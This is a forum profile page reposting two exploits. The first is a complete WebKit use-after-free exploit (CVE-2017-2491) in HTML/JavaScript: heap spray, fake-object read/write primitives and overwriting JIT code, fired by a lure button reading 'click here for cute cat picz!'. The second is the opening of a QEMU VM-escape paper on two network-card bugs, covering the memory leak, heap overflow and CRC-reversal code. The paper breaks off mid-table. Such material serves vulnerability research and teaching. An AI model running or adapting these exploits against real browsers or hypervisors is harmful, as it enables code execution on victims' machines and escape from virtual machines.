-
Posts
18725 -
Joined
-
Last visited
-
Days Won
707
Everything posted by Nytro
-
<!-- Sources: https://phoenhex.re/2017-05-04/pwn2own17-cachedcall-uaf https://github.com/phoenhex/files/blob/master/exploits/cachedcall-uaf.html Overview The WebKit bug we used at Pwn2Own is CVE-2017-2491 / ZDI-17-231, a use-after-free of a JSString object in JavaScriptCore. By triggering it, we can obtain a dangling pointer to a JSString object in a JavaScript callback. At first, the specific scenario seems very hard to exploit, but we found a rather generic technique to still get a reliable read/write primitive out of it, although it requires a very large (~28 GiB) heap spray. This is possible even on a MacBook with 8 GB of RAM thanks to the page compression mechanism in macOS. --> <script> function make_compiled_function() { function target(x) { return x*5 + x - x*x; } // Call only once so that function gets compiled with low level interpreter // but none of the optimizing JITs target(0); return target; } function pwn() { var haxs = new Array(0x100); for (var i = 0; i < 0x100; ++i) haxs[i] = new Uint8Array(0x100); // hax is surrounded by other Uint8Array instances. Thus *(&hax - 8) == 0x100, // which is the butterfly length if hax is later used as a butterfly for a // fake JSArray. var hax = haxs[0x80]; var hax2 = haxs[0x81]; var target_func = make_compiled_function(); // Small helper to avoid allocations with .set(), so we don't mess up the heap function set(p, i, a,b,c,d,e,f,g,h) { p[i+0]=a; p[i+1]=b; p[i+2]=c; p[i+3]=d; p[i+4]=e; p[i+5]=f; p[i+6]=g; p[i+7]=h; } function spray() { var res = new Uint8Array(0x7ffff000); for (var i = 0; i < 0x7ffff000; i += 0x1000) { // Write heap pattern. // We only need a structure pointer every 128 bytes, but also some of // structure fields need to be != 0 and I can't remember which, so we just // write pointers everywhere. for (var j = 0; j < 0x1000; j += 8) set(res, i + j, 0x08, 0, 0, 0x50, 0x01, 0, 0, 0); // Write the offset to the beginning of each page so we know later // with which part we overlap. var j = i+1+2*8; set(res, j, j&0xff, (j>>8)&0xff, (j>>16)&0xff, (j>>24)&0xff, 0, 0, 0xff, 0xff); } return res; } // Spray ~14 GiB worth of array buffers with our pattern. var x = [ spray(), spray(), spray(), spray(), spray(), spray(), spray(), spray(), ]; // The butterfly of our fake object will point to 0x200000001. This will always // be inside the second sprayed buffer. var buf = x[1]; // A big array to hold reference to objects we don't want to be freed. var ary = new Array(0x10000000); var cnt = 0; // Set up objects we need to trigger the bug. var n = 0x40000; var m = 10; var regex = new RegExp("(ab)".repeat(n), "g"); var part = "ab".repeat(n); var s = (part + "|").repeat(m); // Set up some views to convert pointers to doubles var convert = new ArrayBuffer(0x20); var cu = new Uint8Array(convert); var cf = new Float64Array(convert); // Construct fake JSCell header set(cu, 0, 0,0,0,0, // structure ID 8, // indexing type 0,0,0); // some more stuff we don't care about var container = { // Inline object with indebufng type 8 and butterly pointing to hax. // Later we will refer to it as fakearray. jsCellHeader: cf[0], butterfly: hax, }; while (1) { // Try to trigger bug s.replace(regex, function() { for (var i = 1; i < arguments.length-2; ++i) { if (typeof arguments[i] === 'string') { // Root all the callback arguments to force GC at some point ary[cnt++] = arguments[i]; continue; } var a = arguments[i]; // a.butterfly points to 0x200000001, which is always // inside buf, but we are not sure what the exact // offset is within it so we read a marker value. var offset = a[2]; // Compute addrof(container) + 16. We write to the fake array, then // read from a sprayed array buffer on the heap. a[2] = container; var addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Add 16 to get address of inline object addr += 16; // Do the inverse to get fakeobj(addr) for (var j = 0; j < 8; ++j) { buf[offset + j] = addr & 0xff; addr /= 0x100; } var fakearray = a[2]; // Re-write the vector pointer of hax to point to hax2. fakearray[2] = hax2; // At this point hax.vector points to hax2, so we can write // the vector pointer of hax2 by writing to hax[16+{0..7}] // Leak address of JSFunction a[2] = target_func; addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + buf[offset + j]; // Follow a bunch of pointers to RWX location containing the // function's compiled code addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 3*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; addr += 4*8; for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } addr = 0; for (var j = 7; j >= 0; --j) addr = addr*0x100 + hax2[j]; // Write shellcode for (var j = 0; j < 8; ++j) { hax[16+j] = addr & 0xff; addr /= 0x100; } hax2[0] = 0xcc; hax2[1] = 0xcc; hax2[2] = 0xcc; // Pwn. target_func(); } return "x"; }); } } </script> <button onclick="pwn()">click here for cute cat picz!</button> Sursa: https://www.exploit-db.com/exploits/41964/
-
|=-----------------------------------------------------------------------=| |=----------------------------=[ VM escape ]=----------------------------=| |=-----------------------------------------------------------------------=| |=-------------------------=[ QEMU Case Study ]=-------------------------=| |=-----------------------------------------------------------------------=| |=---------------------------=[ Mehdi Talbi ]=---------------------------=| |=--------------------------=[ Paul Fariello ]=--------------------------=| |=-----------------------------------------------------------------------=| --[ Table of contents 1 - Introduction 2 - KVW/QEMU Overview 2.1 - Workspace Environment 2.2 - QEMU Memory Layout 2.3 - Address Translation 3 - Memory Leak Exploitation 3.1 - The Vulnerable Code 3.2 - Setting up the Card 3.3 - Exploit 4 - Heap-based Overflow Exploitation 4.1 - The Vulnerable Code 4.2 - Setting up the Card 4.3 - Reversing CRC 4.4 - Exploit 5 - Putting All Together 5.1 - RIP Control 5.2 - Interactive Shell 5.3 - VM-Escape Exploit 5.4 - Limitations 6 - Conclusions 7 - Greets 8 - References 9 - Source Code --[ 1 - Introduction Virtual machines are nowadays heavily deployed for personal use or within the enterprise segment. Network security vendors use for instance different VMs to analyze malwares in a controlled and confined environment. A natural question arises: can the malware escapes from the VM and execute code on the host machine? Last year, Jason Geffner from CrowdStrike, has reported a serious bug in QEMU affecting the virtual floppy drive code that could allow an attacker to escape from the VM [1] to the host. Even if this vulnerability has received considerable attention in the netsec community - probably because it has a dedicated name (VENOM) - it wasn't the first of it's kind. In 2011, Nelson Elhage [2] has reported and successfully exploited a vulnerability in QEMU's emulation of PCI device hotplugging. The exploit is available at [3]. Recently, Xu Liu and Shengping Wang, from Qihoo 360, have showcased at HITB 2016 a successful exploit on KVM/QEMU. They exploited two vulnerabilities (CVE-2015-5165 and CVE-2015-7504) present in two different network card device emulator models, namely, RTL8139 and PCNET. During their presentation, they outlined the main steps towards code execution on the host machine but didn't provide any exploit nor the technical details to reproduce it. In this paper, we provide a in-depth analysis of CVE-2015-5165 (a memory-leak vulnerability) and CVE-2015-7504 (a heap-based overflow vulnerability), along with working exploits. The combination of these two exploits allows to break out from a VM and execute code on the target host. We discuss the technical details to exploit the vulnerabilities on QEMU's network card device emulation, and provide generic techniques that could be re-used to exploit future bugs in QEMU. For instance an interactive bindshell that leverages on shared memory areas and shared code. --[ 2 - KVM/QEMU Overview KVM (Kernal-based Virtual Machine) is a kernel module that provides full virtualization infrastructure for user space programs. It allows one to run multiple virtual machines running unmodified Linux or Windows images. The user space component of KVM is included in mainline QEMU (Quick Emulator) which handles especially devices emulation. ----[ 2.1 - Workspace Environment In effort to make things easier to those who want to use the sample code given throughout this paper, we provide here the main steps to reproduce our development environment. Since the vulnerabilities we are targeting has been already patched, we need to checkout the source for QEMU repository and switch to the commit that precedes the fix for these vulnerabilities. Then, we configure QEMU only for target x86_64 and enable debug: $ git clone git://git.qemu-project.org/qemu.git $ cd qemu $ git checkout bd80b59 $ mkdir -p bin/debug/native $ cd bin/debug/native $ ../../../configure --target-list=x86_64-softmmu --enable-debug \ $ --disable-werror $ make In our testing environment, we build QEMU using version 4.9.2 of Gcc. For the rest, we assume that the reader has already a Linux x86_64 image that could be run with the following command line: $ ./qemu-system-x86_64 -enable-kvm -m 2048 -display vnc=:89 \ $ -netdev user,id=t0, -device rtl8139,netdev=t0,id=nic0 \ $ -netdev user,id=t1, -device pcnet,netdev=t1,id=nic1 \ $ -drive file=<path_to_image>,format=qcow2,if=ide,cache=writeback We allocate 2GB of memory and create two network interface cards: RTL8139 and PCNET. We are running QEMU on a Debian 7 running a 3.16 kernel on x_86_64 architecture. ----[ 2.2 - QEMU Memory Layout The physical memory allocated for the guest is actually a mmapp'ed private region in the virtual address space of QEMU. It's important to note that the PROT_EXEC flag is not enabled while allocating the physical memory of the guest. The following figure illustrates how the guest's memory and host's memory cohabits. Guest' processes +--------------------+ Virtual addr space | | +--------------------+ | | \__ Page Table \__ \ \ | | Guest kernel +----+--------------------+----------------+ Guest's phy. memory | | | | +----+--------------------+----------------+ | | \__ \__ \ \ | QEMU process | +----+------------------------------------------+ Virtual addr space | | | +----+------------------------------------------+ | | \__ Page Table \__ \ \ | | +----+-----------------------------------------------++ Physical memory | | || +----+-----------------------------------------------++ Additionaly, QEMU reserves a memory region for BIOS and ROM. These mappings are available in QEMU's maps file: 7f1824ecf000-7f1828000000 rw-p 00000000 00:00 0 7f1828000000-7f18a8000000 rw-p 00000000 00:00 0 [2 GB of RAM] 7f18a8000000-7f18a8992000 rw-p 00000000 00:00 0 7f18a8992000-7f18ac000000 ---p 00000000 00:00 0 7f18b5016000-7f18b501d000 r-xp 00000000 fd:00 262489 [first shared lib] 7f18b501d000-7f18b521c000 ---p 00007000 fd:00 262489 ... 7f18b521c000-7f18b521d000 r--p 00006000 fd:00 262489 ... 7f18b521d000-7f18b521e000 rw-p 00007000 fd:00 262489 ... ... [more shared libs] 7f18bc01c000-7f18bc5f4000 r-xp 00000000 fd:01 30022647 [qemu-system-x86_64] 7f18bc7f3000-7f18bc8c1000 r--p 005d7000 fd:01 30022647 ... 7f18bc8c1000-7f18bc943000 rw-p 006a5000 fd:01 30022647 ... 7f18bd328000-7f18becdd000 rw-p 00000000 00:00 0 [heap] 7ffded947000-7ffded968000 rw-p 00000000 00:00 0 [stack] 7ffded968000-7ffded96a000 r-xp 00000000 00:00 0 [vdso] 7ffded96a000-7ffded96c000 r--p 00000000 00:00 0 [vvar] ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall] A more detailed explanation of memory management in virtualized environment can be found at [4]. ----[ 2.3 - Address Translation Within QEMU there exist two translation layers: - From a guest virtual address to guest physical address. In our exploit, we need to configure network card devices that require DMA access. For example, we need to provide the physical address of Tx/Rx buffers to correctly configure the network card devices. - From a guest physical address to QEMU's virtual address space. In our exploit, we need to inject fake structures and get their precise address in QEMU's virtual address space. On x64 systems, a virtual address is made of a page offset (bits 0-11) and a page number. On linux systems, the pagemap file enables userspace process with CAP_SYS_ADMIN privileges to find out which physical frame each virtual page is mapped to. The pagemap file contains for each virtual page a 64-bit value well-documented in kernel.org [5]: - Bits 0-54 : physical frame number if present. - Bit 55 : page table entry is soft-dirty. - Bit 56 : page exclusively mapped. - Bits 57-60 : zero - Bit 61 : page is file-page or shared-anon. - Bit 62 : page is swapped. - Bit 63 : page is present. To convert a virtual address to a physical one, we rely on Nelson Elhage's code [3]. The following program allocates a buffer, fills it with the string "Where am I?" and prints its physical address: ---[ mmu.c ]--- #include <stdio.h> #include <string.h> #include <stdint.h> #include <stdlib.h> #include <fcntl.h> #include <assert.h> #include <inttypes.h> #define PAGE_SHIFT 12 #define PAGE_SIZE (1 << PAGE_SHIFT) #define PFN_PRESENT (1ull << 63) #define PFN_PFN ((1ull << 55) - 1) int fd; uint32_t page_offset(uint32_t addr) { return addr & ((1 << PAGE_SHIFT) - 1); } uint64_t gva_to_gfn(void *addr) { uint64_t pme, gfn; size_t offset; offset = ((uintptr_t)addr >> 9) & ~7; lseek(fd, offset, SEEK_SET); read(fd, &pme, 8); if (!(pme & PFN_PRESENT)) return -1; gfn = pme & PFN_PFN; return gfn; } uint64_t gva_to_gpa(void *addr) { uint64_t gfn = gva_to_gfn(addr); assert(gfn != -1); return (gfn << PAGE_SHIFT) | page_offset((uint64_t)addr); } int main() { uint8_t *ptr; uint64_t ptr_mem; fd = open("/proc/self/pagemap", O_RDONLY); if (fd < 0) { perror("open"); exit(1); } ptr = malloc(256); strcpy(ptr, "Where am I?"); printf("%s\n", ptr); ptr_mem = gva_to_gpa(ptr); printf("Your physical address is at 0x%"PRIx64"\n", ptr_mem); getchar(); return 0; } If we run the above code inside the guest and attach gdb to the QEMU process, we can see that our buffer is located within the physical address space allocated for the guest. More precisely, we note that the outputted address is actually an offset from the base address of the guest physical memory: root@debian:~# ./mmu Where am I? Your physical address is at 0x78b0d010 (gdb) info proc mappings process 14791 Mapped address spaces: Start Addr End Addr Size Offset objfile 0x7fc314000000 0x7fc314022000 0x22000 0x0 0x7fc314022000 0x7fc318000000 0x3fde000 0x0 0x7fc319dde000 0x7fc31c000000 0x2222000 0x0 0x7fc31c000000 0x7fc39c000000 0x80000000 0x0 ... (gdb) x/s 0x7fc31c000000 + 0x78b0d010 0x7fc394b0d010: "Where am I?" --[ 3 - Memory Leak Exploitation In the following, we will exploit CVE-2015-5165 - a memory leak vulnerability that affects the RTL8139 network card device emulator - in order to reconstruct the memory layout of QEMU. More precisely, we need to leak (i) the base address of the .text segment in order to build our shellcode and (ii) the base address of the physical memory allocated for the guest in order to be able to get the precise address of some injected dummy structures. ----[ 3.1 - The vulnerable Code The REALTEK network card supports two receive/transmit operation modes: C mode and C+ mode. When the card is set up to use C+, the NIC device emulator miscalculates the length of IP packet data and ends up sending more data than actually available in the packet. The vulnerability is present in the rtl8139_cplus_transmit_one function from hw/net/rtl8139.c: /* ip packet header */ ip_header *ip = NULL; int hlen = 0; uint8_t ip_protocol = 0; uint16_t ip_data_len = 0; uint8_t *eth_payload_data = NULL; size_t eth_payload_len = 0; int proto = be16_to_cpu(*(uint16_t *)(saved_buffer + 12)); if (proto == ETH_P_IP) { DPRINTF("+++ C+ mode has IP packet\n"); /* not aligned */ eth_payload_data = saved_buffer + ETH_HLEN; eth_payload_len = saved_size - ETH_HLEN; ip = (ip_header*)eth_payload_data; if (IP_HEADER_VERSION(ip) != IP_HEADER_VERSION_4) { DPRINTF("+++ C+ mode packet has bad IP version %d " "expected %d\n", IP_HEADER_VERSION(ip), IP_HEADER_VERSION_4); ip = NULL; } else { hlen = IP_HEADER_LENGTH(ip); ip_protocol = ip->ip_p; ip_data_len = be16_to_cpu(ip->ip_len) - hlen; } } The IP header contains two fields hlen and ip->ip_len that represent the length of the IP header (20 bytes considering a packet without options) and the total length of the packet including the ip header, respectively. As shown at the end of the snippet of code given below, there is no check to ensure that ip->ip_len >= hlen while computing the length of IP data (ip_data_len). As the ip_data_len field is encoded as unsigned short, this leads to sending more data than actually available in the transmit buffer. More precisely, the ip_data_len is later used to compute the length of TCP data that are copied - chunk by chunk if the data exceeds the size of the MTU - into a malloced buffer: int tcp_data_len = ip_data_len - tcp_hlen; int tcp_chunk_size = ETH_MTU - hlen - tcp_hlen; int is_last_frame = 0; for (tcp_send_offset = 0; tcp_send_offset < tcp_data_len; tcp_send_offset += tcp_chunk_size) { uint16_t chunk_size = tcp_chunk_size; /* check if this is the last frame */ if (tcp_send_offset + tcp_chunk_size >= tcp_data_len) { is_last_frame = 1; chunk_size = tcp_data_len - tcp_send_offset; } memcpy(data_to_checksum, saved_ip_header + 12, 8); if (tcp_send_offset) { memcpy((uint8_t*)p_tcp_hdr + tcp_hlen, (uint8_t*)p_tcp_hdr + tcp_hlen + tcp_send_offset, chunk_size); } /* more code follows */ } So, if we forge a malformed packet with a corrupted length size (e.g. ip->ip_len = hlen - 1), then we can leak approximatively 64 KB from QEMU's heap memory. Instead of sending a single packet, the network card device emulator will end up by sending 43 fragmented packets. ----[ 3.2 - Setting up the Card In order to send our malformed packet and read leaked data, we need to configure first Rx and Tx descriptors buffers on the card, and set up some flags so that our packet flows through the vulnerable code path. The figure below shows the RTL8139 registers. We will not detail all of them but only those which are relevant to our exploit: +---------------------------+----------------------------+ 0x00 | MAC0 | MAR0 | +---------------------------+----------------------------+ 0x10 | TxStatus0 | +--------------------------------------------------------+ 0x20 | TxAddr0 | +-------------------+-------+----------------------------+ 0x30 | RxBuf |ChipCmd| | +-------------+------+------+----------------------------+ 0x40 | TxConfig | RxConfig | ... | +-------------+-------------+----------------------------+ | | | skipping irrelevant registers | | | +---------------------------+--+------+------------------+ 0xd0 | ... | |TxPoll| ... | +-------+------+------------+--+------+--+---------------+ 0xe0 | CpCmd | ... |RxRingAddrLO|RxRingAddrHI| ... | +-------+------+------------+------------+---------------+ - TxConfig: Enable/disable Tx flags such as TxLoopBack (enable loopback test mode), TxCRC (do not append CRC to Tx Packets), etc. - RxConfig: Enable/disable Rx flags such as AcceptBroadcast (accept broadcast packets), AcceptMulticast (accept multicast packets), etc. - CpCmd: C+ command register used to enable some functions such as CplusRxEnd (enable receive), CplusTxEnd (enable transmit), etc. - TxAddr0: Physical memory address of Tx descriptors table. - RxRingAddrLO: Low 32-bits physical memory address of Rx descriptors table. - RxRingAddrHI: High 32-bits physical memory address of Rx descriptors table. - TxPoll: Tell the card to check Tx descriptors. A Rx/Tx-descriptor is defined by the following structure where buf_lo and buf_hi are low 32 bits and high 32 bits physical memory address of Tx/Rx buffers, respectively. These addresses point to buffers holding packets to be sent/received and must be aligned on page size boundary. The variable dw0 encodes the size of the buffer plus additional flags such as the ownership flag to denote if the buffer is owned by the card or the driver. struct rtl8139_desc { uint32_t dw0; uint32_t dw1; uint32_t buf_lo; uint32_t buf_hi; }; The network card is configured through in*() out*() primitives (from sys/io.h). We need to have CAP_SYS_RAWIO privileges to do so. The following snippet of code configures the card and sets up a single Tx descriptor. #define RTL8139_PORT 0xc000 #define RTL8139_BUFFER_SIZE 1500 struct rtl8139_desc desc; void *rtl8139_tx_buffer; uint32_t phy_mem; rtl8139_tx_buffer = aligned_alloc(PAGE_SIZE, RTL8139_BUFFER_SIZE); phy_mem = (uint32)gva_to_gpa(rtl8139_tx_buffer); memset(&desc, 0, sizeof(struct rtl8139_desc)); desc->dw0 |= CP_TX_OWN | CP_TX_EOR | CP_TX_LS | CP_TX_LGSEN | CP_TX_IPCS | CP_TX_TCPCS; desc->dw0 += RTL8139_BUFFER_SIZE; desc.buf_lo = phy_mem; iopl(3); outl(TxLoopBack, RTL8139_PORT + TxConfig); outl(AcceptMyPhys, RTL8139_PORT + RxConfig); outw(CPlusRxEnb|CPlusTxEnb, RTL8139_PORT + CpCmd); outb(CmdRxEnb|CmdTxEnb, RTL8139_PORT + ChipCmd); outl(phy_mem, RTL8139_PORT + TxAddr0); outl(0x0, RTL8139_PORT + TxAddr0 + 0x4); ----[ 3.3 - Exploit The full exploit (cve-2015-5165.c) is available inside the attached source code tarball. The exploit configures the required registers on the card and sets up Tx and Rx buffer descriptors. Then it forges a malformed IP packet addressed to the MAC address of the card. This enables us to read the leaked data by accessing the configured Rx buffers. While analyzing the leaked data we have observed that several function pointers are present. A closer look reveals that these functions pointers are all members of a same QEMU internal structure: typedef struct ObjectProperty { gchar *name; gchar *type; gchar *description; ObjectPropertyAccessor *get; ObjectPropertyAccessor *set; ObjectPropertyResolve *resolve; ObjectPropertyRelease *release; void *opaque; QTAILQ_ENTRY(ObjectProperty) node; } ObjectProperty; QEMU follows an object model to manage devices, memory regions, etc. At startup, QEMU creates several objects and assigns to them properties. For example, the following call adds a "may-overlap" property to a memory region object. This property is endowed with a getter method to retrieve the value of this boolean property: object_property_add_bool(OBJECT(mr), "may-overlap", memory_region_get_may_overlap, NULL, /* memory_region_set_may_overlap */ &error_abort); The RTL8139 network card device emulator reserves a 64 KB on the heap to reassemble packets. There is a large chance that this allocated buffer fits on the space left free by destroyed object properties. In our exploit, we search for known object properties in the leaked memory. More precisely, we are looking for 80 bytes memory chunks (chunk size of a free'd ObjectProperty structure) where at least one of the function pointers is set (get, set, resolve or release). Even if these addresses are subject to ASLR, we can still guess the base address of the .text section. Indeed, their page offsets are fixed (12 least significant bits or virtual addresses are not randomized). We can do some arithmetics to get the address of some of QEMU's useful functions. We can also derive the address of some LibC functions such as mprotect() and system() from their PLT entries. We have also noticed that the address PHY_MEM + 0x78 is leaked several times, where PHY_MEM is the start address of the physical memory allocated for the guest. The current exploit searches the leaked memory and tries to resolves (i) the base address of the .text segment and (ii) the base address of the physical memory. --[ 4 - Heap-based Overflow Exploitation This section discusses the vulnerability CVE-2015-7504 and provides an exploit that gets control over the %rip register. ----[ 4.1 - The vulnerable Code The AMD PCNET network card emulator is vulnerable to a heap-based overflow when large-size packets are received in loopback test mode. The PCNET device emulator reserves a buffer of 4 kB to store packets. If the ADDFCS flag is enabled on Tx descriptor buffer, the card appends a CRC to received packets as shown in the following snippet of code in pcnet_receive() function from hw/net/pcnet.c. This does not pose a problem if the size of the received packets are less than 4096 - 4 bytes. However, if the packet has exactly 4096 bytes, then we can overflow the destination buffer with 4 bytes. uint8_t *src = s->buffer; /* ... */ if (!s->looptest) { memcpy(src, buf, size); /* no need to compute the CRC */ src[size] = 0; src[size + 1] = 0; src[size + 2] = 0; src[size + 3] = 0; size += 4; } else if (s->looptest == PCNET_LOOPTEST_CRC || !CSR_DXMTFCS(s) || size < MIN_BUF_SIZE+4) { uint32_t fcs = ~0; uint8_t *p = src; while (p != &src[size]) CRC(fcs, *p++); *(uint32_t *)p = htonl(fcs); size += 4; } In the above code, s points to PCNET main structure, where we can see that beyond our vulnerable buffer, we can corrupt the value of the irq variable: struct PCNetState_st { NICState *nic; NICConf conf; QEMUTimer *poll_timer; int rap, isr, lnkst; uint32_t rdra, tdra; uint8_t prom[16]; uint16_t csr[128]; uint16_t bcr[32]; int xmit_pos; uint64_t timer; MemoryRegion mmio; uint8_t buffer[4096]; qemu_irq irq; void (*phys_mem_read)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void (*phys_mem_write)(void *dma_opaque, hwaddr addr, uint8_t *buf, int len, int do_bswap); void *dma_opaque; int tx_busy; int looptest; }; The variable irq is a pointer to IRQState structure that represents a handler to execute: typedef void (*qemu_irq_handler)(void *opaque, int n, int level); struct IRQState { Object parent_obj; qemu_irq_handler handler; void *opaque; int n; }; This handler is called several times by the PCNET card emulator. For instance, at the end of pcnet_receive() function, there is call a to pcnet_update_irq() which in turn calls qemu_set_irq(): void qemu_set_irq(qemu_irq irq, int level) { if (!irq) return; irq->handler(irq->opaque, irq->n, level); } So, what we need to exploit this vulnerability: - allocate a fake IRQState structure with a handler to execute (e.g. system()). - compute the precise address of this allocated fake structure. Thanks to the previous memory leak, we know exactly where our fake structure resides in QEMU's process memory (at some offset from the base address of the guest's physical memory). - forge a 4 kB malicious packets. - patch the packet so that the computed CRC on that packet matches the address of our fake IRQState structure. - send the packet. When this packet is received by the PCNET card, it is handled by the pcnet_receive function() that performs the following actions: - copies the content of the received packet into the buffer variable. - computes a CRC and appends it to the buffer. The buffer is overflowed with 4 bytes and the value of irq variable is corrupted. - calls pcnet_update_irq() that in turns calls qemu_set_irq() with the corrupted irq variable. Out handler is then executed. Note that we can get control over the first two parameters of the substituted handler (irq->opaque and irq->n), but thanks to a little trick that we will see later, we can get control over the third parameter too (level parameter). This will be necessary to call mprotect() function. Note also that we corrupt an 8-byte pointer with 4 bytes. This is sufficient in our testing environment to successfully get control over the %rip register. However, this poses a problem with kernels compiled without the CONFIG_ARCH_BINFMT_ELF_RANDOMIZE_PIE flag. This issue is discussed in section 5.4. ----[ 4.2 - Setting up the Card Before going further, we need to set up the PCNET card in order to configure the required flags, set up Tx and Rx descriptor buffers and allocate ring buffers to hold packets to transmit and receive. The AMD PCNET card could be accessed in 16 bits mode or 32 bits mode. This depends on the current value of DWI0 (value stored in the card). In the following, we detail the main registers of the PCNET card in 16 bits access mode as this is the default mode after a card reset: 0 16 +----------------------------------+ | EPROM | +----------------------------------+ | RDP - Data reg for CSR | +----------------------------------+ | RAP - Index reg for CSR and BCR | +----------------------------------+ | Reset reg | +----------------------------------+ | BDP - Data reg for BCR | +----------------------------------+ The card can be reset to default by accessing the reset register. The card has two types of internal registers: CSR (Control and Status Register) and BCR (Bus Control Registers). Both registers are accessed by setting first the index of the register that we want to access in the RAP (Register Address Port) register. For instance, if we want to init and restart the card, we need to set bit0 and bit1 to 1 of register CSR0. This can be done by writing 0 to RAP register in order to select the register CSR0, then by setting register CSR to 0x3: outw(0x0, PCNET_PORT + RAP); outw(0x3, PCNET_PORT + RDP); The configuration of the card could be done by filling an initialization structure and passing the physical address of this structure to the card (through register CSR1 and CSR2): struct pcnet_config { uint16_t mode; /* working mode: promiscusous, looptest, etc. */ uint8_t rlen; /* number of rx descriptors in log2 base */ uint8_t tlen; /* number of tx descriptors in log2 base */ uint8_t mac[6]; /* mac address */ uint16_t _reserved; uint8_t ladr[8]; /* logical address filter */ uint32_t rx_desc; /* physical address of rx descriptor buffer */ uint32_t tx_desc; /* physical address of tx descriptor buffer */ }; ----[ 4.3 - Reversing CRC As discussed previously, we need to fill a packet with data in such a way that the computed CRC matches the address of our fake structure. Fortunately, the CRC is reversible. Thanks to the ideas exposed in [6], we can apply a 4-byte patch to our packet so that the computed CRC matches a value of our choice. The source code reverse-crc.c applies a patch to a pre-filled buffer so that the computed CRC is equal to 0xdeadbeef. ---[ reverse-crc.c ]--- #include <stdio.h> #include <stdint.h> #define CRC(crc, ch) (crc = (crc >> 8) ^ crctab[(crc ^ (ch)) & 0xff]) /* generated using the AUTODIN II polynomial * x^32 + x^26 + x^23 + x^22 + x^16 + * x^12 + x^11 + x^10 + x^8 + x^7 + x^5 + x^4 + x^2 + x^1 + 1 */ static const uint32_t crctab[256] = { 0x00000000, 0x77073096, 0xee0e612c, 0x990951ba, 0x076dc419, 0x706af48f, 0xe963a535, 0x9e6495a3, 0x0edb8832, 0x79dcb8a4, 0xe0d5e91e, 0x97d2d988, 0x09b64c2b, 0x7eb17cbd, 0xe7b82d07, 0x90bf1d91, 0x1db71064, 0x6ab020f2, 0xf3b97148, 0x84be41de, 0x1adad47d, 0x6ddde4eb, 0xf4d4b551, 0x83d385c7, 0x136c9856, 0x646ba8c0, 0xfd62f97a, 0x8a65c9ec, 0x14015c4f, 0x63066cd9, 0xfa0f3d63, 0x8d080df5, 0x3b6e20c8, 0x4c69105e, 0xd56041e4, 0xa2677172, 0x3c03e4d1, 0x4b04d447, 0xd20d85fd, 0xa50ab56b, 0x35b5a8fa, 0x42b2986c, 0xdbbbc9d6, 0xacbcf940, 0x32d86ce3, 0x45df5c75, 0xdcd60dcf, 0xabd13d59, 0x26d930ac, 0x51de003a, 0xc8d75180, 0xbfd06116, 0x21b4f4b5, 0x56b3c423, 0xcfba9599, 0xb8bda50f, 0x2802b89e, 0x5f058808, 0xc60cd9b2, 0xb10be924, 0x2f6f7c87, 0x58684c11, 0xc1611dab, 0xb6662d3d, 0x76dc4190, 0x01db7106, 0x98d220bc, 0xefd5102a, 0x71b18589, 0x06b6b51f, 0x9fbfe4a5, 0xe8b8d433, 0x7807c9a2, 0x0f00f934, 0x9609a88e, 0xe10e9818, 0x7f6a0dbb, 0x086d3d2d, 0x91646c97, 0xe6635c01, 0x6b6b51f4, 0x1c6c6162, 0x856530d8, 0xf262004e, 0x6c0695ed, 0x1b01a57b, 0x8208f4c1, 0xf50fc457, 0x65b0d9c6, 0x12b7e950, 0x8bbeb8ea, 0xfcb9887c, 0x62dd1ddf, 0x15da2d49, 0x8cd37cf3, 0xfbd44c65, 0x4db26158, 0x3ab551ce, 0xa3bc0074, 0xd4bb30e2, 0x4adfa541, 0x3dd895d7, 0xa4d1c46d, 0xd3d6f4fb, 0x4369e96a, 0x346ed9fc, 0xad678846, 0xda60b8d0, 0x44042d73, 0x33031de5, 0xaa0a4c5f, 0xdd0d7cc9, 0x5005713c, 0x270241aa, 0xbe0b1010, 0xc90c2086, 0x5768b525, 0x206f85b3, 0xb966d409, 0xce61e49f, 0x5edef90e, 0x29d9c998, 0xb0d09822, 0xc7d7a8b4, 0x59b33d17, 0x2eb40d81, 0xb7bd5c3b, 0xc0ba6cad, 0xedb88320, 0x9abfb3b6, 0x03b6e20c, 0x74b1d29a, 0xead54739, 0x9dd277af, 0x04db2615, 0x73dc1683, 0xe3630b12, 0x94643b84, 0x0d6d6a3e, 0x7a6a5aa8, 0xe40ecf0b, 0x9309ff9d, 0x0a00ae27, 0x7d079eb1, 0xf00f9344, 0x8708a3d2, 0x1e01f268, 0x6906c2fe, 0xf762575d, 0x806567cb, 0x196c3671, 0x6e6b06e7, 0xfed41b76, 0x89d32be0, 0x10da7a5a, 0x67dd4acc, 0xf9b9df6f, 0x8ebeeff9, 0x17b7be43, 0x60b08ed5, 0xd6d6a3e8, 0xa1d1937e, 0x38d8c2c4, 0x4fdff252, 0xd1bb67f1, 0xa6bc5767, 0x3fb506dd, 0x48b2364b, 0xd80d2bda, 0xaf0a1b4c, 0x36034af6, 0x41047a60, 0xdf60efc3, 0xa867df55, 0x316e8eef, 0x4669be79, 0xcb61b38c, 0xbc66831a, 0x256fd2a0, 0x5268e236, 0xcc0c7795, 0xbb0b4703, 0x220216b9, 0x5505262f, 0xc5ba3bbe, 0xb2bd0b28, 0x2bb45a92, 0x5cb36a04, 0xc2d7ffa7, 0xb5d0cf31, 0x2cd99e8b, 0x5bdeae1d, 0x9b64c2b0, 0xec63f226, 0x756aa39c, 0x026d930a, 0x9c0906a9, 0xeb0e363f, 0x72076785, 0x05005713, 0x95bf4a82, 0xe2b87a14, 0x7bb12bae, 0x0cb61b38, 0x92d28e9b, 0xe5d5be0d, 0x7cdcefb7, 0x0bdbdf21, 0x86d3d2d4, 0xf1d4e242, 0x68ddb3f8, 0x1fda836e, 0x81be16cd, 0xf6b9265b, 0x6fb077e1, 0x18b74777, 0x88085ae6, 0xff0f6a70, 0x66063bca, 0x11010b5c, 0x8f659eff, 0xf862ae69, 0x616bffd3, 0x166ccf45, 0xa00ae278, 0xd70dd2ee, 0x4e048354, 